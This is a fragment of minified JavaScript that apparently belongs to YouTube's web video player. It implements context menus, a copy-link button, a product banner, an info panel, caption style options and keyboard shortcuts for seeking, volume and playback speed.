g.q.hide=function(){LBm(this);g.yY.prototype.hide.call(this);this.U.logVisibility(this.element,!1);this.j&&this.j.JM(!1)};
g.q.KRU=function(x){var T=Yi(x);this.lN||T&&(ix(T,"a")||ix(T,null,"ytp-no-contextmenu"))||(x.preventDefault(),this.open(new g.jo(x.pageX,x.pageY)))};
g.q.tq=function(x){if(x){var T=x.getBoundingClientRect();this.open(new g.jo(T.x,T.y))}g.yY.prototype.tq.call(this,x)};
g.q.open=function(x){aUv(this);var T=this.U.getVideoData();g.Ic(this.element,"ytp-dni",T.E0);this.element.style.left="";this.element.style.top="";x.x++;x.y++;g.yY.prototype.tq.call(this);var t=WF(this).body;T=new x4(0,Infinity,Infinity,0);var u=BR(t);for(var H=u.C.body,I=u.C.documentElement,E=tgD(u.C);t=M9i(t);)if((!g.OA||t.clientHeight!=0||t!=H)&&t!=H&&t!=I&&mU(t,"overflow")!="visible"){var Z=g.R_(t),e=new g.jo(t.clientLeft,t.clientTop);Z.x+=e.x;Z.y+=e.y;T.top=Math.max(T.top,Z.y);T.right=Math.min(T.right,
Z.x+t.clientWidth);T.bottom=Math.min(T.bottom,Z.y+t.clientHeight);T.left=Math.max(T.left,Z.x)}H=E.scrollLeft;E=E.scrollTop;T.left=Math.max(T.left,H);T.top=Math.max(T.top,E);u=o1J(u.C.defaultView||window);T.right=Math.min(T.right,H+u.width);T.bottom=Math.min(T.bottom,E+u.height);u=T.top>=0&&T.left>=0&&T.bottom>T.top&&T.right>T.left?T:null;T=this.size;x=x.clone();T=T.clone();u&&(E=T,H=5,(H&65)==65&&(x.x<u.left||x.x>=u.right)&&(H&=-2),(H&132)==132&&(x.y<u.top||x.y>=u.bottom)&&(H&=-5),x.x<u.left&&H&1&&
(x.x=u.left),H&16&&(I=x.x,x.x<u.left&&(x.x=u.left),x.x+E.width>u.right&&(E.width=Math.min(u.right-x.x,I+E.width-u.left),E.width=Math.max(E.width,0))),x.x+E.width>u.right&&H&1&&(x.x=Math.max(u.right-E.width,u.left)),x.y<u.top&&H&4&&(x.y=u.top),H&32&&(I=x.y,x.y<u.top&&(x.y=u.top),x.y+E.height>u.bottom&&(E.height=Math.min(u.bottom-x.y,I+E.height-u.top),E.height=Math.max(E.height,0))),x.y+E.height>u.bottom&&H&4&&(x.y=Math.max(u.bottom-E.height,u.top)));u=new g.Hf(0,0,0,0);u.left=x.x;u.top=x.y;u.width=
T.width;u.height=T.height;g.Mn(this.element,new g.jo(u.left,u.top));g.zx(this.K);this.K.V(WF(this),"contextmenu",this.UU9);this.K.V(this.U,"fullscreentoggled",this.onFullscreenToggled);this.K.V(this.U,"pageTransition",this.Pn)};
g.q.UU9=function(x){if(!x.defaultPrevented){var T=Yi(x);g.ux(this.element,T)||this.nz();this.U.Y().disableNativeContextMenu&&x.preventDefault()}};
g.q.onFullscreenToggled=function(){this.nz();aUv(this)};
g.q.Pn=function(){this.nz()};g.P(Zg,g.Q);Zg.prototype.onClick=function(){var x=this,T,t,u,H;return g.G(function(I){if(I.C==1)return T=x.api.Y(),t=x.api.getVideoData(),u=x.api.getPlaylistId(),H=T.getVideoUrl(t.videoId,u,void 0,!0),g.v(I,WBJ(x,H),2);I.Z&&BP3(x);x.api.logClick(x.element);g.RV(I)})};
Zg.prototype.Nj=function(){this.updateValue("icon",{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M21.9,8.3H11.3c-0.9,0-1.7,.8-1.7,1.7v12.3h1.7V10h10.6V8.3z M24.6,11.8h-9.7c-1,0-1.8,.8-1.8,1.8v12.3  c0,1,.8,1.8,1.8,1.8h9.7c1,0,1.8-0.8,1.8-1.8V13.5C26.3,12.6,25.5,11.8,24.6,11.8z M24.6,25.9h-9.7V13.5h9.7V25.9z"}}]});this.updateValue("title-attr","Copy link");this.visible=gRi(this);g.Ic(this.element,"ytp-copylink-button-visible",this.visible);
this.ou(this.visible);this.tooltip.Kd();this.api.logVisibility(this.element,this.visible&&this.T)};
Zg.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.api.logVisibility(this.element,this.visible&&x)};
Zg.prototype.oU=function(){g.Q.prototype.oU.call(this);g.H$(this.element,"ytp-copylink-button-visible")};g.P(jk,g.Q);jk.prototype.show=function(){g.Q.prototype.show.call(this);g.Kt(this.Z)};
jk.prototype.hide=function(){this.K.stop();this.j=0;this.Um("ytp-seek-icon").style.display="none";this.updateValue("seekIcon","");g.H$(this.element,"ytp-chapter-seek");g.H$(this.element,"ytp-time-seeking");g.Q.prototype.hide.call(this)};
jk.prototype.Wp=function(x,T,t,u){this.j=x===this.N?this.j+u:u;this.N=x;var H=x===-1?this.S:this.J;H&&this.U.logClick(H);this.D?this.Z.stop():g.xP(this.Z);this.K.start();this.element.setAttribute("data-side",x===-1?"back":"forward");var I=3*this.U.bG().getPlayerSize().height;H=this.U.bG().getPlayerSize();H=H.width/3-3*H.height;this.C.style.width=I+"px";this.C.style.height=I+"px";x===1?(this.C.style.left="",this.C.style.right=H+"px"):x===-1&&(this.C.style.right="",this.C.style.left=H+"px");var E=I*
2.5;I=E/2;var Z=this.Um("ytp-doubletap-ripple");Z.style.width=E+"px";Z.style.height=E+"px";x===1?(x=this.U.bG().getPlayerSize().width-T+Math.abs(H),Z.style.left="",Z.style.right=x-I+"px"):x===-1&&(x=Math.abs(H)+T,Z.style.right="",Z.style.left=x-I+"px");Z.style.top="calc((33% + "+Math.round(t)+"px) - "+I+"px)";if(t=this.Um("ytp-doubletap-ripple"))t.classList.remove("ytp-doubletap-ripple"),t.classList.add("ytp-doubletap-ripple");D14(this,this.D?this.j:u)};g.P(NPq,gk);g.q=NPq.prototype;g.q.Hn=function(x){this.QU||(this.QU=new Cw(this.U),g.y(this,this.QU));var T,t;if((T=this.Lz)==null?0:(t=T.menu)==null?0:t.menuRenderer)this.QU.open(this.Lz.menu.menuRenderer,x.target),x.preventDefault()};
g.q.Cl=function(){return!!this.C};
g.q.r7=function(){return!!this.C};
g.q.jt=function(x){x.target===this.overflowButton.element?x.preventDefault():(this.L2&&this.U.XW("innertubeCommand",this.L2),this.vx(!1))};
g.q.e_=function(){this.vx(!0);var x,T;((x=this.C)==null?0:(T=x.bannerData)==null?0:T.dismissedStatusKey)&&this.Ym.push(this.C.bannerData.dismissedStatusKey);this.p5()};
g.q.tE=function(){this.p5();dG(this)};
g.q.Y0Y=function(x){var T=this,t;if(x.id!==((t=this.C)==null?void 0:t.identifier)){this.p5();t=g.S(this.Hv);for(var u=t.next();!u.done;u=t.next()){var H=u.value,I=void 0,E=void 0;if((u=(I=H)==null?void 0:(E=I.bannerData)==null?void 0:E.itemData)&&H.identifier===x.id){E=I=void 0;var Z=((I=H)==null?void 0:(E=I.bannerData)==null?void 0:E.dismissedStatusKey)||"";if(this.Ym.includes(Z))break;this.C=H;this.banner.element.setAttribute("aria-label",u.accessibilityLabel||"");u.trackingParams&&(this.K=!0,this.U.setTrackingParams(this.badge.element,
u.trackingParams));this.S.show();az(this);this.Om.ou(!u.stayInApp);oCq(this);CsV(this);mZ(this);this.L2=g.N(u.onTapCommand,LP);if(H=g.N(u.menuOnTap,LP))this.Lz=g.N(H,EuC);H=void 0;this.banner.update({thumbnail:(H=(u.thumbnailSources||[])[0])==null?void 0:H.url,title:u.productTitle,price:u.priceReplacementText?u.priceReplacementText:u.price,salesOriginalPrice:O63(this),priceDropReferencePrice:fUi(this),promotionText:pmD(this),priceA11yText:wm5(this),affiliateDisclaimer:u.affiliateDisclaimer,vendor:KBv(this)});
Z=E=I=H=void 0;((H=u)==null?0:(I=H.hiddenProductOptions)==null?0:I.showDropCountdown)&&((E=u)==null?0:(Z=E.hiddenProductOptions)==null?0:Z.dropTimestampMs)&&(this.tM=new g.wX(function(){TWq(T)},1E3),this.Om.hide(),this.countdownTimer.show(),TWq(this));
this.U.B("web_player_enable_featured_product_banner_exclusives_on_desktop")&&JoC(this)&&(this.kP=new g.wX(function(){QbH(T)},1E3),QbH(this))}}}};
g.q.p5=function(){this.C&&(this.C=void 0,this.Ka())};
g.q.onVideoDataChange=function(x,T){var t=this;x==="dataloaded"&&dG(this);var u,H,I;x=g.N((u=T.getWatchNextResponse())==null?void 0:(H=u.playerOverlays)==null?void 0:(I=H.playerOverlayRenderer)==null?void 0:I.productsInVideoOverlayRenderer,iAh);this.overflowButton.show();this.dismissButton.hide();var E=x==null?void 0:x.featuredProductsEntityKey;this.trendingOfferEntityKey=x==null?void 0:x.trendingOfferEntityKey;this.Hv.length||(xsD(this,E),mZ(this));var Z;(Z=this.rp)==null||Z.call(this);this.rp=g.TT.subscribe(function(){xsD(t,
E);mZ(t)})};
g.q.oU=function(){dG(this);oCq(this);CsV(this);gk.prototype.oU.call(this)};g.P(HLH,g.Q);HLH.prototype.onClick=function(){this.U.logClick(this.element,this.Z)};g.P(iL3,g.BF);g.q=iL3.prototype;g.q.show=function(){g.BF.prototype.show.call(this);this.U.publish("infopaneldetailvisibilitychange",!0);this.U.logVisibility(this.element,!0);IVH(this,!0)};
g.q.hide=function(){g.BF.prototype.hide.call(this);this.U.publish("infopaneldetailvisibilitychange",!1);this.U.logVisibility(this.element,!1);IVH(this,!1)};
g.q.getId=function(){return this.K};
g.q.hs=function(){return this.itemData.length};
g.q.onVideoDataChange=function(x,T){if(T){var t,u,H,I;this.update({title:((t=T.CB)==null?void 0:(u=t.title)==null?void 0:u.content)||"",body:((H=T.CB)==null?void 0:(I=H.bodyText)==null?void 0:I.content)||""});var E;x=((E=T.CB)==null?void 0:E.trackingParams)||null;this.U.setTrackingParams(this.element,x);E=g.S(this.itemData);for(x=E.next();!x.done;x=E.next())x.value.dispose();this.itemData=[];var Z;if((Z=T.CB)==null?0:Z.ctaButtons)for(T=g.S(T.CB.ctaButtons),Z=T.next();!Z.done;Z=T.next())if(Z=g.N(Z.value,
ou9))Z=new HLH(this.U,Z,this.C),Z.eD&&(this.itemData.push(Z),Z.yU(this.items))}};
g.q.oU=function(){this.hide();g.BF.prototype.oU.call(this)};g.P(ZL5,g.Q);g.q=ZL5.prototype;g.q.onVideoDataChange=function(x,T){qgH(this,T);this.Zx&&eRX(this,this.Zx)};
g.q.yP=function(x){var T=this.U.getVideoData();this.videoId!==T.videoId&&qgH(this,T);eRX(this,x.state);this.Zx=x.state};
g.q.uc=function(x){(this.K=x)?this.hide():this.C&&this.show()};
g.q.OX=function(){this.Z||this.tq();this.showControls=!0};
g.q.lz=function(){this.Z||this.nz();this.showControls=!1};
g.q.tq=function(){var x;if((x=this.U)==null?0:x.B("embeds_web_enable_info_panel_sizing_fix")){var T;x=(T=this.U)==null?void 0:T.getPlayerSize();T=x.width<380;var t;x=x.height<(((t=this.U)==null?0:t.isEmbedsShortsMode())?400:280);var u,H;if((((u=this.U)==null?0:u.getPlayerStateObject().isCued())||((H=this.U)==null?0:g.p(H.getPlayerStateObject(),1024)))&&T&&x)return}this.C&&!this.K&&(this.j.show(),this.U.publish("infopanelpreviewvisibilitychange",!0),this.U.logVisibility(this.element,!0))};
g.q.nz=function(){this.C&&!this.K&&(this.j.hide(),this.U.publish("infopanelpreviewvisibilitychange",!1),this.U.logVisibility(this.element,!1))};
g.q.aoY=function(){this.Z=!1;this.showControls||this.nz()};var lIV={"default":0,monoSerif:1,propSerif:2,monoSans:3,propSans:4,casual:5,cursive:6,smallCaps:7};Object.keys(lIV).reduce(function(x,T){x[lIV[T]]=T;return x},{});
var mQd={none:0,raised:1,depressed:2,uniform:3,dropShadow:4};Object.keys(mQd).reduce(function(x,T){x[mQd[T]]=T;return x},{});
var dQE={normal:0,bold:1,italic:2,bold_italic:3};Object.keys(dQE).reduce(function(x,T){x[dQE[T]]=T;return x},{});var Mgb,AZE;Mgb=[{option:"#fff",text:"White"},{option:"#ff0",text:"Yellow"},{option:"#0f0",text:"Green"},{option:"#0ff",text:"Cyan"},{option:"#00f",text:"Blue"},{option:"#f0f",text:"Magenta"},{option:"#f00",text:"Red"},{option:"#080808",text:"Black"}];AZE=[{option:0,text:Mm(0)},{option:.25,text:Mm(.25)},{option:.5,text:Mm(.5)},{option:.75,text:Mm(.75)},{option:1,text:Mm(1)}];
g.Sk=[{option:"fontFamily",text:"Font family",options:[{option:1,text:"Monospaced Serif"},{option:2,text:"Proportional Serif"},{option:3,text:"Monospaced Sans-Serif"},{option:4,text:"Proportional Sans-Serif"},{option:5,text:"Casual"},{option:6,text:"Cursive"},{option:7,text:"Small Capitals"}]},{option:"color",text:"Font color",options:Mgb},{option:"fontSizeIncrement",text:"Font size",options:[{option:-2,text:Mm(.5)},{option:-1,text:Mm(.75)},{option:0,text:Mm(1)},{option:1,text:Mm(1.5)},{option:2,
text:Mm(2)},{option:3,text:Mm(3)},{option:4,text:Mm(4)}]},{option:"background",text:"Background color",options:Mgb},{option:"backgroundOpacity",text:"Background opacity",options:AZE},{option:"windowColor",text:"Window color",options:Mgb},{option:"windowOpacity",text:"Window opacity",options:AZE},{option:"charEdgeStyle",text:"Character edge style",options:[{option:0,text:"None"},{option:4,text:"Drop Shadow"},{option:1,text:"Raised"},{option:2,text:"Depressed"},{option:3,text:"Outline"}]},{option:"textOpacity",
text:"Font opacity",options:[{option:.25,text:Mm(.25)},{option:.5,text:Mm(.5)},{option:.75,text:Mm(.75)},{option:1,text:Mm(1)}]}];var RG0=[27,9,33,34,13,32,187,61,43,189,173,95,79,87,67,80,78,75,70,65,68,87,83,107,221,109,219];g.P(RR5,g.nj);g.q=RR5.prototype;
g.q.dO=function(x){x.repeat||(this.j.Nx=!1);var T=!1,t=x.keyCode,u=Yi(x),H=!x.altKey&&!x.ctrlKey&&!x.metaKey&&(!this.api.isMutedByEmbedsMutedAutoplay()||RG0.includes(t)),I=!1,E=!1,Z=this.api.Y();x.defaultPrevented?(H=!1,E=!0):Z.VI&&!this.api.isMutedByEmbedsMutedAutoplay()&&(H=!1);if(t===9)T=!0;else{if(u)switch(t){case 32:case 13:if(u.tagName==="BUTTON"||u.tagName==="A"||u.tagName==="INPUT")T=!0,H=!1;else if(H){var e=u.getAttribute("role");!e||e!=="option"&&e!=="button"&&e.indexOf("menuitem")!==0||
(T=!0,u.click(),I=!0)}break;case 37:case 39:case 36:case 35:T=u.getAttribute("role")==="slider";break;case 38:case 40:e=u.getAttribute("role"),u=t===38?u.previousSibling:u.nextSibling,e==="slider"?T=!0:H&&(e==="option"?(u&&u.getAttribute("role")==="option"&&u.focus(),I=T=!0):e&&e.indexOf("menuitem")===0&&(u&&u.hasAttribute("role")&&u.getAttribute("role").indexOf("menuitem")===0&&u.focus(),I=T=!0))}if(H&&!I)switch(t){case 38:I=Math.min(this.api.getVolume()+5,100);$6(this.Y6,I,!1);this.api.setVolume(I);
E=I=!0;break;case 40:I=Math.max(this.api.getVolume()-5,0);$6(this.Y6,I,!0);this.api.setVolume(I);E=I=!0;break;case 36:this.api.hp()&&(this.api.startSeekCsiAction(),this.api.seekTo(0,void 0,void 0,void 0,79),E=I=!0);break;case 35:this.api.hp()&&(this.api.startSeekCsiAction(),this.api.seekTo(Infinity,void 0,void 0,void 0,80),E=I=!0)}}T&&RK(this,!0);(T||E)&&this.vU.rf();(I||H&&this.handleGlobalKeyDown(t,x.shiftKey,x.ctrlKey,x.altKey,x.metaKey,x.key,x.code,x.repeat))&&x.preventDefault();Z.N&&(x={keyCode:x.keyCode,
altKey:x.altKey,ctrlKey:x.ctrlKey,metaKey:x.metaKey,shiftKey:x.shiftKey,handled:x.defaultPrevented,fullscreen:this.api.isFullscreen()},this.api.gN("onKeyPress",x))};
g.q.oP=function(x){var T=x.keyCode;(!this.api.B("web_player_spacebar_control_bugfix")||this.api.B("web_player_spacebar_control_bugfix")&&!this.K)&&this.handleGlobalKeyUp(T,x.shiftKey,x.ctrlKey,x.altKey,x.metaKey,x.key,x.code)&&x.preventDefault()};
g.q.handleGlobalKeyUp=function(x,T,t,u,H,I,E){this.api.publish("keyboardserviceglobalkeyup",{keyCode:x,shiftKey:T,ctrlKey:t,altKey:u,metaKey:H,key:I,code:E});T=!1;if(this.j.Nx)return T;(t=g.hW(this.api.xm()))&&(t=t.le)&&t.lN&&(t.jZ(x),T=!0);switch(x){case 9:RK(this,!0);T=!0;break;case 32:if(this.api.B("web_speedmaster_spacebar_control")&&(!this.api.B("web_player_spacebar_control_bugfix")&&!this.K||this.api.B("web_player_spacebar_control_bugfix"))&&!this.api.Y().VI){var Z,e;x=(Z=this.progressBar)==
null?void 0:(e=Z.Z)==null?void 0:e.isEnabled;T=this.Q3(x)}}return T};
g.q.handleGlobalKeyDown=function(x,T,t,u,H,I,E,Z){Z||(this.j.Nx=!1);var e=!1,l=this.api.Y();if(l.VI&&!this.api.isMutedByEmbedsMutedAutoplay())return e;var m=g.hW(this.api.xm());if(m&&(m=m.le)&&m.lN)switch(x){case 65:case 68:case 87:case 83:case 107:case 221:case 109:case 219:e=m.Z0(x)}l.D||e||(e=I||String.fromCharCode(x).toLowerCase(),this.Z+=e,"awesome".indexOf(this.Z)===0?(e=!0,7===this.Z.length&&FUJ(this.api.getRootNode(),"ytp-color-party")):(this.Z=e,e="awesome".indexOf(this.Z)===0));if(!e&&(!this.api.isMutedByEmbedsMutedAutoplay()||
RG0.includes(x))){var d=this.api.getVideoData(),M,A;m=(M=this.progressBar)==null?void 0:(A=M.Z)==null?void 0:A.isEnabled;M=d?d.WD:[];A=XZ?u:t;switch(x){case 80:T&&!l.QU&&(ui(this.Y6,kGD(),"Previous"),this.api.previousVideo(),e=!0);break;case 78:T&&!l.QU&&(ui(this.Y6,Pa(),"Next"),this.api.nextVideo(),e=!0);break;case 74:this.api.hp()&&(this.api.startSeekCsiAction(),this.C?this.api.B("enable_key_press_seek_logging")?(e=P7(this,-10*this.api.getPlaybackRate(),"SEEK_SOURCE_SEEK_BACKWARD_10S"),ek(this.C,
-1,10,e)):ek(this.C,-1,10):ui(this.Y6,{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 18,11 V 7 l -5,5 5,5 v -4 c 3.3,0 6,2.7 6,6 0,3.3 -2.7,6 -6,6 -3.3,0 -6,-2.7 -6,-6 h -2 c 0,4.4 3.6,8 8,8 4.4,0 8,-3.6 8,-8 0,-4.4 -3.6,-8 -8,-8 z M 16.9,22 H 16 V 18.7 L 15,19 v -0.7 l 1.8,-0.6 h .1 V 22 z m 4.3,-1.8 c 0,.3 0,.6 -0.1,.8 l -0.3,.6 c 0,0 -0.3,.3 -0.5,.3 -0.2,0 -0.4,.1 -0.6,.1 -0.2,0 -0.4,0 -0.6,-0.1 -0.2,-0.1 -0.3,-0.2 -0.5,-0.3 -0.2,-0.1 -0.2,-0.3 -0.3,-0.6 -0.1,-0.3 -0.1,-0.5 -0.1,-0.8 v -0.7 c 0,-0.3 0,-0.6 .1,-0.8 l .3,-0.6 c 0,0 .3,-0.3 .5,-0.3 .2,0 .4,-0.1 .6,-0.1 .2,0 .4,0 .6,.1 .2,.1 .3,.2 .5,.3 .2,.1 .2,.3 .3,.6 .1,.3 .1,.5 .1,.8 v .7 z m -0.9,-0.8 v -0.5 c 0,0 -0.1,-0.2 -0.1,-0.3 0,-0.1 -0.1,-0.1 -0.2,-0.2 -0.1,-0.1 -0.2,-0.1 -0.3,-0.1 -0.1,0 -0.2,0 -0.3,.1 l -0.2,.2 c 0,0 -0.1,.2 -0.1,.3 v 2 c 0,0 .1,.2 .1,.3 0,.1 .1,.1 .2,.2 .1,.1 .2,.1 .3,.1 .1,0 .2,0 .3,-0.1 l .2,-0.2 c 0,0 .1,-0.2 .1,-0.3 v -1.5 z"}}]}),
this.api.seekBy(-10*this.api.getPlaybackRate(),void 0,void 0,73),e=!0);break;case 76:this.api.hp()&&(this.api.startSeekCsiAction(),this.C?this.api.B("enable_key_press_seek_logging")?(e=P7(this,10*this.api.getPlaybackRate(),"SEEK_SOURCE_SEEK_FORWARD_10S"),ek(this.C,1,10,e)):ek(this.C,1,10):ui(this.Y6,{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 10,19 c 0,4.4 3.6,8 8,8 4.4,0 8,-3.6 8,-8 h -2 c 0,3.3 -2.7,6 -6,6 -3.3,0 -6,-2.7 -6,-6 0,-3.3 2.7,-6 6,-6 v 4 l 5,-5 -5,-5 v 4 c -4.4,0 -8,3.6 -8,8 z m 6.8,3 H 16 V 18.7 L 15,19 v -0.7 l 1.8,-0.6 h .1 V 22 z m 4.3,-1.8 c 0,.3 0,.6 -0.1,.8 l -0.3,.6 c 0,0 -0.3,.3 -0.5,.3 C 20,21.9 19.8,22 19.6,22 19.4,22 19.2,22 19,21.9 18.8,21.8 18.7,21.7 18.5,21.6 18.3,21.5 18.3,21.3 18.2,21 18.1,20.7 18.1,20.5 18.1,20.2 v -0.7 c 0,-0.3 0,-0.6 .1,-0.8 l .3,-0.6 c 0,0 .3,-0.3 .5,-0.3 .2,0 .4,-0.1 .6,-0.1 .2,0 .4,0 .6,.1 .2,.1 .3,.2 .5,.3 .2,.1 .2,.3 .3,.6 .1,.3 .1,.5 .1,.8 v .7 z m -0.8,-0.8 v -0.5 c 0,0 -0.1,-0.2 -0.1,-0.3 0,-0.1 -0.1,-0.1 -0.2,-0.2 -0.1,-0.1 -0.2,-0.1 -0.3,-0.1 -0.1,0 -0.2,0 -0.3,.1 l -0.2,.2 c 0,0 -0.1,.2 -0.1,.3 v 2 c 0,0 .1,.2 .1,.3 0,.1 .1,.1 .2,.2 .1,.1 .2,.1 .3,.1 .1,0 .2,0 .3,-0.1 l .2,-0.2 c 0,0 .1,-0.2 .1,-0.3 v -1.5 z"}}]}),
this.api.seekBy(10*this.api.getPlaybackRate(),void 0,void 0,74),e=!0);break;case 37:this.api.hp()&&(this.api.startSeekCsiAction(),A?(A=dsJ(M,this.api.getCurrentTime()*1E3),A!==-1&&this.C!=null&&(yo4(this.C,-1,M[A].title),this.api.seekTo(M[A].startTime/1E3,void 0,void 0,void 0,53),e=!0)):(this.C?this.api.B("enable_key_press_seek_logging")?(e=P7(this,-5*this.api.getPlaybackRate(),"SEEK_SOURCE_SEEK_BACKWARD_5S"),ek(this.C,-1,5,e)):ek(this.C,-1,5):ui(this.Y6,{L:"svg",X:{height:"100%",version:"1.1",viewBox:"0 0 36 36",
width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"M 18,11 V 7 l -5,5 5,5 v -4 c 3.3,0 6,2.7 6,6 0,3.3 -2.7,6 -6,6 -3.3,0 -6,-2.7 -6,-6 h -2 c 0,4.4 3.6,8 8,8 4.4,0 8,-3.6 8,-8 0,-4.4 -3.6,-8 -8,-8 z m -1.3,8.9 .2,-2.2 h 2.4 v .7 h -1.7 l -0.1,.9 c 0,0 .1,0 .1,-0.1 0,-0.1 .1,0 .1,-0.1 0,-0.1 .1,0 .2,0 h .2 c .2,0 .4,0 .5,.1 .1,.1 .3,.2 .4,.3 .1,.1 .2,.3 .3,.5 .1,.2 .1,.4 .1,.6 0,.2 0,.4 -0.1,.5 -0.1,.1 -0.1,.3 -0.3,.5 -0.2,.2 -0.3,.2 -0.4,.3 C 18.5,22 18.2,22 18,22 17.8,22 17.6,22 17.5,21.9 17.4,21.8 17.2,21.8 17,21.7 16.8,21.6 16.8,21.5 16.7,21.3 16.6,21.1 16.6,21 16.6,20.8 h .8 c 0,.2 .1,.3 .2,.4 .1,.1 .2,.1 .4,.1 .1,0 .2,0 .3,-0.1 L 18.5,21 c 0,0 .1,-0.2 .1,-0.3 v -0.6 l -0.1,-0.2 -0.2,-0.2 c 0,0 -0.2,-0.1 -0.3,-0.1 h -0.2 c 0,0 -0.1,0 -0.2,.1 -0.1,.1 -0.1,0 -0.1,.1 0,.1 -0.1,.1 -0.1,.1 h -0.7 z"}}]}),
this.api.seekBy(-5*this.api.getPlaybackRate(),void 0,void 0,71),e=!0));break;case 39:this.api.hp()&&(this.api.startSeekCsiAction(),A?(A=msX(M,this.api.getCurrentTime()*1E3),A!==-1&&this.C!=null&&(yo4(this.C,1,M[A].title),this.api.seekTo(M[A].startTime/1E3,void 0,void 0,void 0,52),e=!0)):(this.C!=null?this.api.B("enable_key_press_seek_logging")?(e=P7(this,5*this.api.getPlaybackRate(),"SEEK_SOURCE_SEEK_FORWARD_5S"),ek(this.C,1,5,e)):ek(this.C,1,5):ui(this.Y6,{L:"svg",X:{height:"100%",version:"1.1",
viewBox:"0 0 36 36",width:"100%"},W:[{L:"path",OF:!0,G:"ytp-svg-fill",X:{d:"m 10,19 c 0,4.4 3.6,8 8,8 4.4,0 8,-3.6 8,-8 h -2 c 0,3.3 -2.7,6 -6,6 -3.3,0 -6,-2.7 -6,-6 0,-3.3 2.7,-6 6,-6 v 4 l 5,-5 -5,-5 v 4 c -4.4,0 -8,3.6 -8,8 z m 6.7,.9 .2,-2.2 h 2.4 v .7 h -1.7 l -0.1,.9 c 0,0 .1,0 .1,-0.1 0,-0.1 .1,0 .1,-0.1 0,-0.1 .1,0 .2,0 h .2 c .2,0 .4,0 .5,.1 .1,.1 .3,.2 .4,.3 .1,.1 .2,.3 .3,.5 .1,.2 .1,.4 .1,.6 0,.2 0,.4 -0.1,.5 -0.1,.1 -0.1,.3 -0.3,.5 -0.2,.2 -0.3,.2 -0.5,.3 C 18.3,22 18.1,22 17.9,22 17.7,22 17.5,22 17.4,21.9 17.3,21.8 17.1,21.8 16.9,21.7 16.7,21.6 16.7,21.5 16.6,21.3 16.5,21.1 16.5,21 16.5,20.8 h .8 c 0,.2 .1,.3 .2,.4 .1,.1 .2,.1 .4,.1 .1,0 .2,0 .3,-0.1 L 18.4,21 c 0,0 .1,-0.2 .1,-0.3 v -0.6 l -0.1,-0.2 -0.2,-0.2 c 0,0 -0.2,-0.1 -0.3,-0.1 h -0.2 c 0,0 -0.1,0 -0.2,.1 -0.1,.1 -0.1,0 -0.1,.1 0,.1 -0.1,.1 -0.1,.1 h -0.6 z"}}]}),
this.api.seekBy(5*this.api.getPlaybackRate(),void 0,void 0,72),e=!0));break;case 77:this.api.isMuted()?(this.api.unMute(),$6(this.Y6,this.api.getVolume(),!1)):(this.api.mute(),$6(this.Y6,0,!0));e=!0;break;case 32:e=this.api.B("web_speedmaster_spacebar_control")?!this.api.Y().QU:this.Q3(m);break;case 75:e=this.Q3(m);break;case 190:T?l.enableSpeedOptions&&Sgq(this)&&(e=this.api.getPlaybackRate(),this.api.setPlaybackRate(e+.25,!0),m1m(this.Y6,!1),e=!0):this.api.hp()&&(this.step(1),e=!0);break;case 188:T?
l.enableSpeedOptions&&Sgq(this)&&(e=this.api.getPlaybackRate(),this.api.setPlaybackRate(e-.25,!0),m1m(this.Y6,!0),e=!0):this.api.hp()&&(this.step(-1),e=!0);break;case 70:x8J(this.api)&&(this.api.toggleFullscreen().catch(function(){}),e=!0);
break;case 27:m?(this.progressBar.e3(),e=!0):this.D()&&(e=!0)}if(l.controlsType!=="3")switch(x){case 67:g.Lb(this.api.xm())&&(l=this.api.getOption("captions","track"),this.api.toggleSubtitles(),d1q(this.Y6,!l||l&&!l.displayName),e=!0);break;case 79:c7(this,"textOpacity");break;case 87:c7(this,"windowOpacity");break;case 187:case 61:c7(this,"fontSizeIncrement",!1,!0);break;case 189:case 173:c7(this,"fontSizeIncrement",!0,!0)}var R;T||t||u||(x>=48&&x<=57?R=x-48:x>=96&&x<=105&&(R=x-96));R!=null&&this.api.hp()&&
(this.api.startSeekCsiAction(),l=this.api.getProgressState(),this.api.seekTo(R/10*(l.seekableEnd-l.seekableStart)+l.seekableStart,void 0,void 0,void 0,81),e=!0);e&&this.vU.rf()}this.K||this.api.publish("keyboardserviceglobalkeydown",{keyCode:x,shiftKey:T,ctrlKey:t,altKey:u,metaKey:H,key:I,code:E,repeat:Z},this.j);return e};
g.q.step=function(x){this.api.hp();if(this.api.getPlayerStateObject().isPaused()){var T=this.api.getVideoData().Z;T&&(T=T.video)&&this.api.seekBy(x/(T.fps||30),void 0,void 0,x>0?77:78)}};
g.q.Q3=function(x){if(!this.api.Y().QU){var T;var t,u=(T=this.api.getVideoData())==null?void 0:(t=T.getPlayerResponse())==null?void 0:t.playabilityStatus;if(u){var H;T=((H=g.N(u.miniplayer,dv9))==null?void 0:H.playbackMode)==="PLAYBACK_MODE_PAUSED_ONLY"}else T=!1;T&&this.api.XW("onExpandMiniplayer");x?this.progressBar.qL():(x=!this.api.getPlayerStateObject().isOrWillBePlaying(),this.Y6.Q4(x),x?this.api.playVideo():this.api.pauseVideo());return!0}return!1};
g.q.oU=function(){g.xP(this.T);g.nj.prototype.oU.call(this)};g.P(g.Y6,g.Q);g.Y6.prototype.xq=oV(11);
g.Y6.prototype.Nj=function(){var x=this.U.Y(),T=x.j||this.U.B("web_player_hide_overflow_button_if_empty_menu")&&this.yL.isEmpty();x=g.zw(x)&&g.kh(this.U)&&g.p(this.U.getPlayerStateObject(),128);var t=this.U.getPlayerSize();this.visible=this.U.zV()&&!x&&t.width>=240&&!g.Tt(this.U.getVideoData())&&!T&&!this.C&&!this.U.isEmbedsShortsMode();g.Ic(this.element,"ytp-overflow-button-visible",this.visible);this.visible&&this.U.Kd();this.U.logVisibility(this.element,this.visible&&this.T)};
g.Y6.prototype.JM=function(x){g.Q.prototype.JM.call(this,x);this.U.logVisibility(this.element,this.visible&&x)};
